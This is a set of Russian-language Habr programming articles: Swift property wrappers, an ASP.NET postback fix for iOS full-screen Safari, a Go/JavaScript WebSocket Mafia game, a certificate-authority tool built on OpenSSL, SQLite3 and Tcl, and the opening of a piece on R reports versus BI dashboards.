if let optional = newValue as? AnyOptional, optional.isNil {
container.removeObject(forKey: key)
} else {
container.set(newValue, forKey: key)
}
publisher.send(newValue)
}
}
var projectedValue: AnyPublisher {
return publisher.eraseToAnyPublisher()
}
}
We can now start
```
Теперь мы можем начать наблюдать за изменениями в нашем объекте следующим образом:
```
let subscription = UserDefaults.$username.sink { username in
print("New username: \(username)")
}
UserDefaults.username = "Test"
// Prints: New username: Test
```
Это замечательно! Это позволяет нам реагировать на любые изменения. Поскольку до этого мы определяли наше свойство статически, теперь этот publisher будет работать во всем нашем приложении. Если вы хотите узнать больше о Combine, обязательно ознакомьтесь с моей статьей [Начало работы с фреймворком Combine в Swift](https://www.avanderlee.com/swift/combine/).
### Определение образцов файлов с помощью обертки свойств
Приведенный выше пример в значительной степени сфокусирован на пользовательских настройках по умолчанию, но что если вы хотите определить другую обертку? Давайте рассмотрим еще один пример, который, надеюсь, подтолкнет вас к некоторым идеям.
Возьмем следующую обертку свойств, в которой мы определяем файл-образец:
```
@propertyWrapper
struct SampleFile {
let fileName: String
var wrappedValue: URL {
let file = fileName.split(separator: ".").first!
let fileExtension = fileName.split(separator: ".").last!
let url = Bundle.main.url(forResource: String(file), withExtension: String(fileExtension))!
return url
}
var projectedValue: String {
return fileName
}
}
```
Мы можем использовать эту обертку для определения файлов-образцов, которые могут понадобиться для отладки или при выполнении тестов:
```
struct SampleFiles {
@SampleFile(fileName: "sample-image.png")
static var image: URL
}
```
Свойство `projectedValue` позволяет нам считывать имя файла, используемое в обертке свойства:
```
print(SampleFiles.image) // Prints: "../resources/sample-image.png"
print(SampleFiles.$image) // Prints: "sample-image.png"
```
Это может быть полезно в тех случаях, когда вы хотите знать, какое начальное значение (значения) было использовано оберткой для вычисления конечного значения. Обратите внимание, что здесь мы используем знак доллара в качестве префикса для доступа к прогнозируемому значению.
### Доступ к определенным приватным свойствам
Хотя не рекомендуется работать с обертками свойств таким образом, в некоторых случаях может оказаться полезным прочитать определенные свойства обертки. Я просто продемонстрирую, что это возможно, и вы, возможно, захотите переосмыслить свою реализацию кода, если у вас возникнет необходимость в доступе к приватным свойствам.
В приведенном выше примере мы можем получить доступ и к имени файла, используя префикс подчеркивания. Это позволяет нам получить доступ к приватному свойству `filename`:
```
extension SampleFiles {
static func printKey() {
print(_image.fileName)
}
}
```
Отнеситесь к этому со скептицизмом и посмотрите, не можете ли вы решить свои задачи, используя другие варианты решения.
### Другие примеры использования
Обертки свойств используются и в стандартных API Swift. Особенно в SwiftUI вы найдете такие обертки свойств, как `@StateObject` и `@Binding`. Все они имеют нечто общее: упрощение доступа к часто используемым шаблонам.
Вдохновившись этими встроенными примерами, вы можете начать думать о создании своих собственных оберток свойств. Другой идеей может быть создание обертки для выполнения действий в командной строке:
```
@Option(shorthand: "m", documentation: "Minimum value", defaultValue: 0)
var minimum: Int
```
Или для представлений, макеты которых определены в коде:
```
final class MyViewController {
@UsesAutoLayout
var label = UILabel()
}
```
Этот последний пример я часто использую в своих проектах для представлений, которые используют автоматическую компоновку и требуют, чтобы `translatesAutoresizingMaskIntoConstraints` был установлен в `false`. Подробнее об этом примере вы можете прочитать в моей статье в блоге: [Автоматическая компоновка в Swift: Программное написание ограничений](https://www.avanderlee.com/swift/auto-layout-programmatically/#an-auto-layout-property-wrapper).
### Заключение
Обертки свойств — это отличный способ убрать шаблонные элементы в вашем коде. Приведенный выше пример — лишь один из многих сценариев, в которых они могут быть полезны. Вы можете опробовать его сами, найдя повторяющийся код и заменив его пользовательской оберткой.
Если вы хотите желаете узнать больше советов по Swift, загляните на [страницу категории swift](https://www.avanderlee.com/category/swift/). Не стесняйтесь [связаться со мной](mailto:contact@avanderlee.com) или написать мне в [Twitter](https://www.twitter.com/twannl), если у вас есть дополнительные рекомендации или отзывы. Спасибо! | https://habr.com/ru/post/558486/ | null | ru | null |
# Корректная работа postback в ASP.NET веб-приложенях в полноэкранном режиме на iOS устройствах
Началось все с того, что одно из моих веб-приложение перестало корректно работать, после того как я закрепил его на главном экране своего iPad. Точнее при первом запуске все было отлично. Но потом – многие функции просто не работали. Сначала я подумал, что причина в какой-то ошибке в коде веб-приложения. Но после детального изучения кода и разбора полетов, оказалось, что все дело в браузере.
Вернее в его полноэкранном режиме. Ваше веб-приложение будет замечательно выглядеть на iPad, пока вы не решите сохранить его на главном экране.
В чем же был проблема и как ее решить — вы узнаете дальше.
Хабараюзер [MarcusAurelius](http://habrahabr.ru/users/marcusaurelius/) в своей статье "[Отличия в адаптации сайта и AJAX веб-приложения для iOS](http://habrahabr.ru/post/147563/)" уже писал об основных нюансах и неожиданностях при работе с Safari. Однако, это еще не все сюрпризы которые могут поджидать веб-разработчика при работе с этим браузером. Как оказалось – Safari в iOS не всегда корректно поддерживает модель postback событий ASP.NET.
Если вы решите добавить ваше веб-приложение на главный экран iOS то на первый взгляд все будет выглядеть прекрасно…. до тех пор пока по какой либо причине приложение не будет перезагружено. После этого сценарий postback событий будет полностью не работоспособен в этом браузере.
Единственным решением проблемы может стать удаление приложения с главного экрана, и после добавление его туда по новой. Конечно же плохо, и такой сценарий работы никуда не годится.
Немногого побродив по просторам интернета, я обнаружил что это уже достаточно известная проблема и нашел замечательное решение на [этом сайте](http://blog.lavablast.com/post/2011/05/29/Gotcha-iPad-versus-ASPNET.aspx).
##### Причина
Суть проблемы состоит в том, что iPad, iPhone и iPod Touch используют разные строки UserAgent, в обычном режиме и когда веб-сайт запускается с главного экрана:
* Safari в обычном режиме: Mozilla/5.0 (iPad; U; CPU OS 4\_3\_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) **Version/5.0.2**
* Safari в режиме полноэкранного приложения: Mozilla/5.0 (iPad; U; CPU OS 4\_3\_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) **Mobile/8J2**
#### Решение
Из за своей нестандартной UserAgent строки Safari для iOS определяется как старый браузер, который поддерживает клиентские скрипты. Что бы решить эту проблему необходимо вручную указать, что этот браузер относится к новому поколению.
Для этого нужно задать свойство страницы [ClientTarget](http://msdn.microsoft.com/ru-ru/library/system.web.ui.page.clienttarget.aspx). По умолчанию это свойство может иметь два значения:
* **uplevel** — определяет возможности браузера, эквивалентно Internet Explorer 6.0.
* **downlevel** — определяет возможности браузера эквивалентными старым браузерам, не поддерживающим клиентские скрипты. Используя этот псевдоним, можно определить, как веб-страницы будут работать в обозревателе, в котором отключен клиентский скрипт.
Лучше всего добавить следующий код к базовой странице, переопределив метод OnPreInit:
```
protected override void OnPreInit(EventArgs e)
{
base.OnPreInit(e);
if (Request.UserAgent != null && Request.UserAgent.IndexOf("AppleWebKit", StringComparison.CurrentCultureIgnoreCase) > -1)
{
this.ClientTarget = "uplevel";
}
}
```
Таким образом все браузеры основанные на AppleWebKit будут определятся как те, что поддерживают клиетские скрипты.
#### И еще немного о UserAgent
Если ваш проект достаточно старый, и начинал разрабатываться еще во времена .NET Framework 1.1, то после обновления до 4 версии вы можете столкнуться с такой ошибкой:
> The page is performing an async postback but the ScriptManager.SupportsPartialRendering property is set to false. Ensure that the property is set to true during an async postback.
>
>
Это связано с тем, что в web.config файле может быть явно задан ожидаемый размер UserAgent — до 64 символов:
```
```
Для решения проблемы нужно увеличить это значение, например до в 256 символов.
Более подробно эта проблема рассматривается [тут](http://dev.flauschig.ch/wordpress/?p=271).
---
После проделанных манипуляций веб-приложение будет отлично работать как в обычном, так и в полноэкранном режиме Safari.
#### Литература и источники
* [Gotcha: iPad versus ASP.NET](http://blog.lavablast.com/post/2011/05/29/Gotcha-iPad-versus-ASPNET.aspx)
* [Отличия в адаптации сайта и AJAX веб-приложения для iOS](http://habrahabr.ru/post/147563/)
* [MSDN: Page.ClientTarget — свойство](http://msdn.microsoft.com/ru-ru/library/system.web.ui.page.clienttarget.aspx)
* [ASP.NET 4 BrowserCaps](http://dev.flauschig.ch/wordpress/?p=271) | https://habr.com/ru/post/148239/ | null | ru | null |
# Мафия на Go, Vanila JS и WebSocket'aх
Речь пойдет о web-реализации популярной карточной игры "[Мафия](https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D1%84%D0%B8%D1%8F_(%D0%B8%D0%B3%D1%80%D0%B0))". Она писалась для развлечения и получения опыта в разработке игр. Первая версия была написана за две недели свободного от работы времени и за такое же время переписана до второй версии. Плюс такой игры – отсутствие ведущего.
Отталкиваясь от целей разработки, я принял решения о реализации/нереализации фич.
Что точно нужно было сделать:
* Работающая по минимому игра, повторяющая правила классической игры
* Озвучка команд ведущего на клиентских устройствах
* Продолжение игры даже после перезагрузки вкладки браузера
Что делать не планировалось или можно было отложить:
* Регистрация в игре
* Интерфейс для администрирования
* Постоянное хранение данных об игре в базе данных
* Синхронизация времени между устройствами
### Backend
<https://github.com/mrsuh/mafia-backend>
Написан на Go. Хранит в себе состояние игры и отвечает за её логику.
Во время игры можно обратиться к серверу, чтобы узнать полную информацию:
```
curl 'http://127.0.0.1:8000/info?game=23' | python -m json.tool
```
**Вывод информации об игре**`{
"event": "greet_mafia",
"event_status": 2,
"id": 23,
"is_over": false,
"iter": 1,
"players": [
{
"addr": "172.18.0.1:51438",
"createdAt": "2018-09-23T14:39:29.631475779Z",
"id": 33309,
"name": "Anton",
"role": 4
},
{
"addr": "172.18.0.1:51440",
"createdAt": "2018-09-23T14:39:32.867080927Z",
"id": 5457,
"name": "username:0",
"role": 2
},
{
"addr": "172.18.0.1:51442",
"createdAt": "2018-09-23T14:39:32.882463945Z",
"id": 14214,
"name": "username:2",
"role": 1
},
{
"addr": "172.18.0.1:51444",
"createdAt": "2018-09-23T14:39:32.895209072Z",
"id": 63759,
"name": "username:1",
"role": 3
}
],
"win": 0
}`
Или узнать состояние сервера:
```
curl 'http://127.0.0.1:8000/health' | python -m json.tool
```
**Вывод информации о состоянии сервера**`{
"runtime.MemStats.Alloc": 764752,
"runtime.MemStats.NumGC": 0,
"runtime.MemStats.Sys": 4165632,
"runtime.MemStats.TotalAlloc": 764752,
"runtime.NumGoroutine": 14
}`
Для определения активен ли еще игрок backend посылает heartbeat. Если игрок не ответил после определенного интервала, то он выбывает из игры. В то же время, если игрок переподключился до окончания интервала(пропала сеть), то он может продолжить игру.
Для стабильной работы backend был покрыт Unit тестами со стандартной [библиотекой Go](https://golang.org/pkg/testing), где проверяются основные сценарии работы.
```
go test mafia-backend/src -cover
ok mafia-backend/src 1.315s coverage: 70.7% of statements
```
### Frontend
<https://github.com/mrsuh/mafia-frontend>
Написан на чистом JS и собран с помощью [Grunt](https://gruntjs.com).
Не несет в себе никакой логики.
При возникновении события с backend рендерит нужную страницу, отображает данные, которые ему прислали и проигрывает звук нового события.
Frontend хранит ID игры и игрока в [LocalStorage](https://developer.mozilla.org/ru/docs/Web/API/Window/localStorage) или строке запроса браузера (если необходимо запустить в одном браузере несколько вкладок для разных игроков). Полное отсутствие логики, а также хранение основных параметров игры дают возможность даже после перезагрузки страницы восстановить состояние игры.
Браузер [запрещает](https://developers.google.com/web/updates/2017/09/autoplay-policy-changes#webaudio) автовоспроизведение звуков без участия пользователя (например, нажатия на кнопку). Чтобы воспроизводить звуки на каждое событие, которе приходит с backend был сделан всего 1 JavaScript объект Audio. Каждый игрок должен нажать кнопку для начала игры и в этот момент объект Audio становится активным (доступным для воспроизведения), и впоследствии у него можно менять параметр src для воспроизведения разных звуков без участия пользователя.
Также для тестирования работы игры был написан «бот», который может играть сам с собой.
Достаточно открыть вкладку браузера, где в параметрах указано, что нужно запустить тест
```
http://127.0.0.1?master=1&test=1&sound=0&testUsersCount=5
```
и разрешить открывать новые вкладки из JavaScript для этого домена.
После начала игры откроются еще 5 вкладок с игроками и они начнут играть между собой.
### Протокол взаимодействия
Протокол [WebSocket](https://ru.wikipedia.org/wiki/WebSocket) был выбран по причине необходимости постоянного двухстороннего обмена данными между backend и frontend и его поддержки обоими языками.
### События игры
Вся игра разделена на события:
**События*** **game**
+ create
+ join
+ start
+ over
+ reconnect
* **day**
+ start
* **night**
+ start
* **citizens-greeting**
+ start
+ role
+ end
* **mafia-greeting**
+ start
+ players
+ end
* **court**
+ start
+ players
+ end
* **mafia**
+ start
+ players
+ end
* **doctor**
+ start
+ players
+ end
* **girl**
+ start
+ players
+ end
* **sherif**
+ start
+ players
+ end
События имеют начало, конец и содержательную часть.
В начале и конце события всем активным игрокам рассылается уведомление, которое нужно подтвердить. Игра продолжается только после подтверждения этого события всеми активными игроками (например, только после того, как будет воспроизведен звуковой файл).
### Docker
Всю игру можно поднять с помощью [Docker](https://ru.wikipedia.org/wiki/Docker):
**docker-compose.yml**
```
version: '3'
services:
mafia-frontend:
image: mrsuh/mafia-frontend:latest
container_name: mafia_frontend
ports:
- 9080:80
mafia-backend:
image: mrsuh/mafia-backend:latest
container_name: mafia_backend
ports:
- 8000:8000
```
Достаточно установить Docker (если вы этого еще не сделали), скопировать к себе текст **docker-compose.yml** и выполнить команду:
```
docker-compose up
```
После этого можно открывать вкладку с игрой в браузере:
```
http://127.0.0.1:9080
```
### Заключение
Вот тут можно посмотреть что итоге получилось (скорость воспроизведения увеличена в 1.5 раза).
После почти месяца разработки в свободное время получилась довольно стабильная игра в которую можно поиграть с друзьями. Игра выдерживает перезагрузку страницы или временное пропадание сети. Озвучка событий на устройствах работает, хоть и без синхронизации по времени. Дальнейшее развитие игры не планируется.
P.S.: Спасибо [Лере](https://vk.com/id15305045) за озвучку игры. | https://habr.com/ru/post/423821/ | null | ru | null |
# Инфраструктура открытых ключей (продолжение): удостоверяющий центр на базе утилиты OpenSSL и SQLite3
Если одним из главных объектов инфраструктуры открытых ключей (ИОК) являются сертификаты X509, то центральным субъектом ИОК являются Удостоверяющие Центры (УЦ). Именно УЦ выпускают сертификаты, прекращают их действие (отзыв сертификата), подтверждают их валидность. На страницах [Хабрахабр](https://habrahabr.ru) можно найти различные публикации на тему выпуска цифровых сертификатов с использованием [OpenSSL](https://www.openssl.org/). В основном в этих статьях рассматривается применение [утилиты openssl](https://habrahabr.ru/post/192446/), описывается ее интерфейс командной строки и работа с файлами, в которых хранится все: ключи, запросы, сертификаты, в том числе и корневой и т.д. Но если разрабатывать полномасштабный удостоверяющий центр (УЦ) на базе OpenSSL, то естественным является желание избавится от этого многообразия файлов и перейти к работе с базами данных, а также иметь графический интерфейс для выпуска сертификатов и управления ими. А если вспомнить Федеральный Закон от 6 апреля 2011г. №63-ФЗ «Об электронной подписи», то необходимо, чтобы УЦ соответствовал требованиям этого закона, а также «Требованиям к форме квалифицированного сертификата ключа проверки электронной подписи», утвержденных приказом ФСБ России от 27.12.2011 № 795.
У простых граждан создается впечатление, что УЦ это что-то громадное (как же, Центр, почти как Центр Управления Полетами).
С точки зрения ответственности УЦ – это именно так. Ведь сертификаты, выпускаемые УЦ, фактически сегодня приравнены в паспорту.
С программистской точки зрения, все не так страшно. Так родился проект удостоверяющего центра CAFL63. Реализация проекта CAFL63 базируется на трех «китах», а именно OpenSSL, [SQLite3](https://ru.wikipedia.org/wiki/SQLite) и [Tcl/Tk](https://habrahabr.ru/post/343930/).
Итак, что же такое Удостоверяющий Центр сегодня? Прежде всего это Центр Регистрации, куда с пакетом необходимых документов, частности, удостоверяющих личность и полномочия заявителя, приходят за сертификатами представители юридический лиц, физические лица, индивидуальные предпринимателей. Они могут приходить с готовыми заявками в электронном виде. В ЦР проверяют документы, запрос (заполненные данные, корректность электронной подписи и т.д), и, если все прошло успешно принимают запрос, утверждают его и передают в Центр Сертификации (ЦС). Но это в идеале. На практике, все выглядит по-другому.
Гражданам, организациям нужен сертификат (для доступа на портал Госуслуг, для сдачи налогой отчетности, для участия в торгах), но они не знают что это такое и что с ним делать. Они искренне убеждены, что в УЦ получают электронную подпись типа факсимиле. Но это проблемы просвещения. Поэтому заявители приходят в ЦР УЦ, предъявляют документы. Вместе с сотрудником ЦР идут на отдельное рабочее место и [готовят запрос](https://habr.com/ru/post/453164/) на сертификат:
Подготовленный запрос на электронном носителе, о чем уже говорилось, поступает в ЦР. Что нужно помнить заявителю? Первое и главное забрать носитель с созданным закрытым ключом!
Утвержденный запрос на электронном носителе передается в ЦС, где на его основе и будет выпущен сертификат.
Это принципиальная схема работы УЦ. Детали станут понятны ниже. Одно замечание, в целях удобства демонстрации утилита подготовки запроса, ЦР и ЦС объединены в один демонстрационный комплекс. Но никаких проблем с разнесением функционала нет. Самый простой из них, это на каждом рабочем месте иметь по экземпляру CAFL63 и задействовать только требуемый функционал.
Когда реализация проекта шла полным ходом, на глаза попался проект [SimpleCA](http://users.skynet.be/ballet/joris/SimpleCA/). Изучение этого проекта очень помогло при окончательной реализации УЦ CAFL63.
Исходный код утилиты и ее дистрибутивы для платформ Linux и MS Windows можно найти
**здесь:**
* [проект CAFL63](https://github.com/a513/CAFL63)
* [Linux32](https://github.com/a513/CAFL63/raw/master/distr/CAFL63_linux32.tar.bz2)
* [Linux64](https://github.com/a513/CAFL63/raw/master/distr/CAFL63_linux64.tar.bz2)
* [WIN32](https://github.com/a513/CAFL63/raw/master/distr/CAFL63_win32.exe)
* [WIN64](https://github.com/a513/CAFL63/raw/master/distr/CAFL63_win64.exe)
Итак, запускаем утилиту CAFL63 и на экране появляется стартовая страница:
Работу мы начинаем с нажатия клавиши «Создать БД». База данных УЦ создается средствами кроссплатформенной СУБД [SQLite3](https://ru.wikipedia.org/wiki/SQLite). БД УЦ содержит несколько таблиц. Главная таблица mainDB содержит всего одну запись, в которой хранится корневой сертификат, закрытый ключ, зашифрованный на пароле, и настройки УЦ. Есть две таблицы, связанные с запросами на сертификаты: текущие запросы reqDB и архив запросов reqDBArc. Для сертификатов создается три таблицы: таблица новых сертификатов certDBNew, таблица архива сертификатов certDB и таблица отозванных сертификатов certDBRev:
```
. . .
certdb eval {create table certDB( ckaID text primary key ,
nick text, sernum text, certPEM text, subject text,
notAfter text, notBefore text, dateRevoke text, state text )}
certdb eval {create table certDBRev( ckaID text primary key )}
certdb eval {create table certDBNew( ckaID text primary key )}
certdb eval {create table reqDB (ckaID text primary key, nick text,
sernum text, subject text, type text, datereq text, status text, reqpem text,
pkcs7 text)}
certdb eval {create table reqDBAr (ckaID text primary key, nick text, sernum text,
subject text, type text, datereq text, status text, reqpem text, pkcs7 text)}
certdb eval {create table crlDB(ID integer primary key autoincrement, signtype text,
issuer text, publishdate text, nextdate text, crlpem text)}
. . .
```
Все таблицы запросов и сертификатов в качестве ключа (primary key) используют [значение хэш](https://habrahabr.ru/post/316328/) (sha1) от открытого ключа. Для удобства в дальнейшем значение хэш от значения открытого ключа будем называть CKAID (терминология PKCS#11). Это оказалось очень удобным, например, при поиске сертификата по запросу или наоборот. В БД есть еще одна таблица crlDB, в которой хранятся списки отозванных сертификатов.
Значение открытого ключа хранится как в запросе, так и в сертификате. Поэтому, прежде чем положить их в БД, необходимо извлечь из них открытый ключ и вычислить CKAID. Для извлечения значения открытого ключа удобно воспользоваться пакетом pki (package require pki), который содержит средства для работы с сертификатами и запросами. Однако этот пакет не рассчитан на работу с российской криптографией. В связи с этим на базе входящих в пакет pki процедур parse\_cert и parse\_csr написать процедуры parce\_cert\_gost и parse\_csr\_gost:
```
...
## Convert Pubkey type to string
set pubkey_type [::pki::_oid_number_to_name $pubkey_type]
# Parse public key, based on type
switch -- $pubkey_type {
"rsaEncryption" {
set pubkey [binary format B* $pubkey]
binary scan $pubkey H* ret(pubkey)
::asn::asnGetSequence pubkey pubkey_parts
::asn::asnGetBigInteger pubkey_parts ret(n)
::asn::asnGetBigInteger pubkey_parts ret(e)
set ret(n) [::math::bignum::tostr $ret(n)]
set ret(e) [::math::bignum::tostr $ret(e)]
set ret(l) [expr {int([::pki::_bits $ret(n)] / 8.0000 + 0.5) * 8}]
set ret(type) rsa
}
"1.2.643.2.2.19" -
"1.2.643.7.1.1.1.1" -
"1.2.643.7.1.1.1.2" {
# gost2001, gost2012-256,gost2012-512
set pubkey [binary format B* $pubkey]
binary scan $pubkey H* ret(pubkey)
set ret(type) $pubkey_type
::asn::asnGetSequence pubkey_algoid pubalgost
#OID - параметра
::asn::asnGetObjectIdentifier pubalgost oid1
#OID - Функция хэша
::asn::asnGetObjectIdentifier pubalgost oid2
}
default {
error "Unknown algorithm"
}
}
...
```
В отличии от «родных» процедур, они позволяют работать с объектами не только в формате PEM, но и в формате DER. Для работы со списками отозванных сертификатов CRL была написана процедура parse\_crl. Все эти процедуры можно найти в исходном коде, который хранится вместе с дистрибутивом.
Также в пакете pki отсутствуют и российские oid-ы, например, ИНН, СНИЛС и т.д. Эта проблема лекго решается путем добавления российских oid-ов в массив ::pki::oids:
```
. . .
set ::pki::oids(1.2.643.100.1) "OGRN"
set ::pki::oids(1.2.643.100.5) "OGRNIP"
set ::pki::oids(1.2.643.3.131.1.1) "INN"
set ::pki::oids(1.2.643.100.3) "SNILS"
#Алгоритмы подписи
set ::pki::oids(1.2.643.2.2.3) "ГОСТ Р 34.10-2001"
set ::pki::oids(1.2.643.7.1.1.3.2) "ГОСТ Р 34.10-2012-256"
set ::pki::oids(1.2.643.7.1.1.3.3) "ГОСТ Р 34.10-2012-512"
. . .
```
Имея функции parse\_cert\_gost и parse\_csr\_gost, значения CKAID (primary key для БД) вычисляется следующим образом:
```
. . .
array set b [parse_csr_gost $req]
set pem $b(pem)
set subject $b(subject)
set pubkey $b(pubkey)
set key1 [binary format H* $pubkey]
set ckaID [::sha1::sha1 $key1]
. . .
```
Итак, нажимаем кнопку «Создать БД»:
Создание УЦ начинается с выбора каталога, в котором будем хранить БД и задания пароля для доступа к закрытому ключу УЦ. Утилита CAFL63 внимательно следит за длиной пароля:
Пароль хранится в БД УЦ в виде хэша:
```
. . .
set hash256 [::sha2::sha256 $wizData(capassword)]
. . .
```
После нажатия клавишы «След» начинается процесс формирования самоподписанного корневого сертификата разворачиваемого УЦ. На первом шаге этого процесса выбирается тип и параметры ключевой пары:
Определившись с ключевой парой для корневого сертификата создаваемого удостоверяющего центра, мы приступаем к заполнению формы информацией о владельце (первый скриншот пропущен).
Отметим, что утилита CAFL63 обладает определенным «интеллектом» и поэтому контролирует не только наличие данных в полях, но и правильность (красная подсветка — неправильно) заполнения таких полей как ИНН, ОГРН, СНИЛС, ОГРНИП, адрес электронной почты и др.:
После заполнения полей информацией о владельце УЦ будет предложено определиться с системными настройками УЦ:
Если вы не собираетесь работать с российской криптографией, то можете использовать обычный OpenSSL. Для работы с российской криптографией, необходимо выбрать соответствующую версию, модификацию OpenSSL. Более подробно читайте README.txt в скаченном дистрибутиве. Поскольку предполагается выпуск квалифицированных сертификатов, то необходимо также дать информацию о сертификации самого УЦ и используемом им СКЗИ (см. «Требования к форме квалифицированного сертификата ключа проверки электронной подписи», утвержденные приказом ФСБ России от 27.12.2011 № 795).
После правильного заполнения всех полей, еще раз будет предложено проверить их достоверность и нажать кнопку «Готово»:
После нажатия кнопки «Готово» будет создана БД УЦ, в которой будут сохранены корневой сертифкат УЦ, закрытый ключ, системные настройки, и на экране вновь появится стартовая страница утилиты CAFL63. Теперь, когда у нас создана база данных вновь создаваемого УЦ, мы нажимаем кнопку «Открыть БД», выбираем каталог с БД, попадаем в главное рабочее окно УЦ и нажав кнопку «Просмотр CA УЦ», убеждаемся, что тот корневой сертификат, который мы создали:
Следующим шагом мы подготавливаем шаблоны/профили заявок для юридический лиц, физических лиц, индивидуальных предпринимателей (***Средства->Настройки->Типы Сертификатов->Новый*** ):
После задания имени нового профиля будет предложено определить его состав:
Состав профиля определяет distinguished name (отличительное/уникальное имя владельца сертификата). Каждого профиль имеет свой состав с обязательными (required) или нет полями/oid-ами. Состав профиля для юридический лиц, физических лиц, индивидуальных предпринимателей определяется требованиями ФЗ-63 и «Требованиями к форме квалифицированного сертификата ключа проверки электронной подписи» ФСБ России.
После подготовки профилей УЦ готов к приему заявителей и заявок от них. Как было отмечено выше, заявитель может приходить как с готовой заявкой на сертификат, так и без нее.
Если заявитель пришел с готовой заявкой, то после проверки его документов, заявка импортируется в БД УЦ. Для этого необходимо на главном рабочем окне выбрать вкладку «Запросы на сертификаты», нажать кнопку «Импорт запроса/CSR» и выбрать файл с запросом. После этого появится окно с информацией о запросе:
Просмотрев запрос и убедившись в его правильном заполнении можно нажимать кнопку «Import» для занесения его в базу данных. Сразу отметим, что при попытке повторного внесения запроса в БД УЦ будет выдано сообщение:
Запросы в БД УЦ помечаются (колонка «Type») либо как «Locale», созданные в центре регистрации УЦ, либо как «Import», созданные самим заявителем, а также фиксируется время поступления заявки в УЦ. Это может оказаться полезным при разборе конфликтных ситуаций. Поэтому при импорте запроса на сертификат следует указывать кем был создан запрос (см. скриншот).
Импортированная заявка находится в БД УЦ и отображается на главном окне на вкладке «Запросы на сертификаты». Поступившие запросы находятся в стадии «рассмотрения» (колонка «Status» вкладки «Запросы на сертификат» и «Архив Запросов» ). По каждому вновь поступившему запросу должно быть принято решение (выпадающее меню при нажатии правой клавиши мышки на выбранном запросе):
Каждый запрос должен быть или отклонен или утвержден:
Если запрос отклоняется, то он перемещается из таблицы текущих запросов reqDB в таблицу архива запросов reqDBArc и, соответсвенно, исчезает на вкладке «Запросы на сертификаты» и появляется на вкладке «Архив Запросов».
Утвержденная заявка остается в таблице reqDB и на вкладке «Запросы на сертификаты» до выпуска сертификата, а потом тоже попадает в архив.
Перед выпуском сертификата надо вместе с заявителем уточнить для каких целей (например, для доступа на портал Госуслуг) будет использоваться сертификат (***Средства->Настройки->Типы Сертификатов ->Физ.лицо ->Редактировать ->Key Usage***):
Для выпуска сертификата надо выбрать утвержденную заявку на вкладке «Запросы на сертификаты», нажать правую клавишу мыши и в выпадающем меню при выбрать пункт «Выпустить сертификат». В появившемся виджете необходимо будет выбрать профиль, которому должен соответствовть профиль запроса/сертификата:
Отметим, что в процессе выпуска сертифиата можно уточнить значения того или иного поля:
Сама процедура выпуска сертификата (пункт меню «Выпустить сертификат») мало отличается от процедуры создания корневого сертификата или выпуска заявки:
Выпущенный сертификат сразу же появлется на вкладке «Сертификаты». При этом сам сертификат попадает в таблицу certDBNew БД УЦ и остается там до тех пор, пока он не будет опубликован. Сертификат считается опубликованным после его экспорта в SQL-дамп новых сертификатов, который передается на публичный сервис. Опубликование сертификата приводит к перемещению его из таблицы certDBNew в таблицу certDB.
Если нажать правую клавишу мыши на выбранной строке в закладке «Сертификаты», то появится меню с функциями:
Эти функции позволяют просмотреть как сам сертификат, так и запрос, на основании которого он был выпущен. Можно также экспортировать сертификат в файл или на флэшку заявителя. Важнейшей функцией здесь является функция отзыва сертификата! Есть и такая экзотическая функция как экспорт сертификата в защищенный контейнер PKCS#12. Он используется, когда заявитель хочет получить такой контейнер. Для таких заявителей специально предусмотрена функция генерации запроса с сохранением закрытого ключа в файле (кнопка «Создать запрос/CSR» на вкладке «Запросы на сертификаты» ).
Итак, УЦ начал свою жизнь, выпустил первый сертификат. Одна из задач УЦ – это организация свободного доступа к выпускаемым сертификатам. Публикация сертификатов как правило идет через Web-сервисы. Естьтакой сервис и у CAFL63:
Для публикации сертификатов и списков отозванных сертификатов на публичном сервисе УЦ предварительно выгружает сертификаты или в файлы (***Сертификаты->Экспорт сертификатов***), либо делает SQL –дамп всей таблицы сертификатов, из которой можно создать БД сертификатов и загрузить в нее их, а в последующем делать SQL-дамп новых сертификатов, из которого они будут добавляться в БД публичного сервиса:
Основополагающая функция УЦ – это публикация списка отозванных сертификатов по аналогии с тем, как это делает МВД относительно утративших силу паспортов. Сертификат может быть отозван по заявлению владельца. Основной причиной отзыва является утрата закрытого ключа или потеря доверия к нему.
Для отзыва сертификата достаточно выбрать его на вкладке «Сертификаты», нажать правую кнопку мыши и выбрать пункт меню «Отзыв сертификата»:
Процедура отзыва не отличается от процедуры утверждения запроса или выпуска сертификата. Отозванный сертификат попадает в таблицу cerDBRev базы данных УЦ и появляется во вкладке «Отозванные сертификаты».
Осталось рассмотреть последнюю функцию УЦ – выпуск CRL — списка отозванных сертификатов. Список CRL формируется на вкладке «Отозванные сертификаты» при нажатии кнопки «Создать СОС/CRL». Все, что требуется от администратора, это ввести пароль УЦ и подтвердить свое намерение выпустить CRL:
Выпущенный CRL попадает в таблицу crlDB базы данных и отображается на вкладке «CRL/СОС».
Для разбора CRL перед его помещением в БД была написана процедура parse\_crl:
```
proc parse_crl {crl} {
array set ret [list]
if { [string range $crl 0 9 ] == "-----BEGIN" } {
array set parsed_crl [::pki::_parse_pem $crl "-----BEGIN X509 CRL-----" "-----END X509 CRL-----"]
set crl $parsed_crl(data)
}
::asn::asnGetSequence crl crl_seq
::asn::asnGetSequence crl_seq crl_base
::asn::asnGetSequence crl_base crl_full
::asn::asnGetObjectIdentifier crl_full ret(signtype)
#puts "KEY_TYPE=$ret(signtype)"
::::asn::asnGetSequence crl_base crl_issue
set ret(issue) [::pki::x509::_dn_to_string $crl_issue]
#puts "ISSUE=$ret(issue)"
::asn::asnGetUTCTime crl_base ret(publishDate)
::asn::asnGetUTCTime crl_base ret(nextDate)
#puts "publishDate=$ret(publishDate)"
return [array get ret]
}
```
Для просмотра CRL или его экспорта с целью публикации на публичном сервисе необходимо как всегда выбрать нужную строку, нажать правую кнопку мыши и выбрать соответствующий пункт меню:
Вот и все, Удостоверяющий Центр готов.
О том как собрать и подключить OpenSSL с российской криптографией можно [узнать здесь](https://habr.com/post/415423/). | https://habr.com/ru/post/413493/ | null | ru | null |
# Storytelling R отчет против BI, прагматичный подход
Проблематика
============
Когда говорят про отчеты к данным (неважно, какая тема) все хотят гибкие дашборды, МНОГО дашбордов, играют конкурсы про BI, выдумывают разные сложные требования и кейсы, отсматривают массу вендоров и решений, разбиваются на непримиримые лагеря и на 100% уверены, что это то, без чего жизнь на работе тяжела, уныла и печальна.
